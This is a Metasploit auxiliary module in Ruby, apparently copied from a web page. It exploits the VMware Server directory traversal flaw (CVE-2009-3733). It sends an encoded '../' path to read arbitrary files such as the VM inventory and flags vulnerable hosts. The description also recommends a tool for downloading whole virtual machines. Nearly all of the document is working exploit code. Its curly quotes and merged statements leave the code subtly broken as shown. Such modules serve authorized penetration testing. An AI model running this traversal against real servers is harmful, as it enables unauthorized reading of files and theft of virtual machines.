VMware Server Directory Traversal

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

# Exploit mixins should be called first
include Msf::Exploit::Remote::HttpClient
# Scanner mixin should be near last
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize
super(
‘Name’ => ‘VMware Server Directory Traversal Vulnerability’,
‘Description’ => ‘This modules exploits the VMware Server Directory Traversal
vulnerability in VMware Server 1.x before 1.0.10 build 203137 and 2.x before
2.0.2 build 203138 on Linux, VMware ESXi 3.5, and VMware ESX 3.0.3 and 3.5
allows remote attackers to read arbitrary files. Common VMware server ports
80/8222 and 443/8333 SSL. If you want to download the entire VM, check out
the gueststealer tool.’,
‘Author’ => ‘CG’ ,
‘License’ => MSF_LICENSE,
‘References’ =>
[
[ ‘URL’, ‘https://www.vmware.com/security/advisories/VMSA-2009-0015.html’ ],
[ ‘OSVDB’, ‘59440’ ],
[ ‘BID’, ‘36842’ ],
[ ‘CVE’, ‘2009-3733’ ],
[ ‘URL’, ‘http://fyrmassociates.com/tools/gueststealer-v1.1.pl’ ]])
register_options(
[
Opt::RPORT(8222),
OptString.new(‘FILE’, [ true, “The file to view”, ‘/etc/vmware/hostd/vmInventory.xml’]),
OptString.new(‘TRAV’, [ true, “Traversal Depth”, ‘/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E’]),
])
end

def run_host(target_host)

begin
file = datastore[‘FILE’]trav = datastore[‘TRAV’]res = send_request_raw({
‘uri’ => trav+file,
‘version’ => ‘1.1’,
‘method’ => ‘GET’
}, 25)

if res.nil?
print_error(“Connection timed out”)
return
end

if res.code == 200
#print_status(“Output Of Requested File:\n#{res.body}”)
print_good(“#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability”)
report_vuln(
{
:host => target_host,
:port => rport,
:proto => ‘tcp’,
:name => self.name,
:info => “Module #{self.fullname} reports directory traversal of #{target_host}:#{rport} with response code #{res.code}”,
:refs => self.references,
:exploited_at => Time.now.utc
}
)
else
vprint_status(“Received #{res.code} for #{trav}#{file}”)
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error(e.message)
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end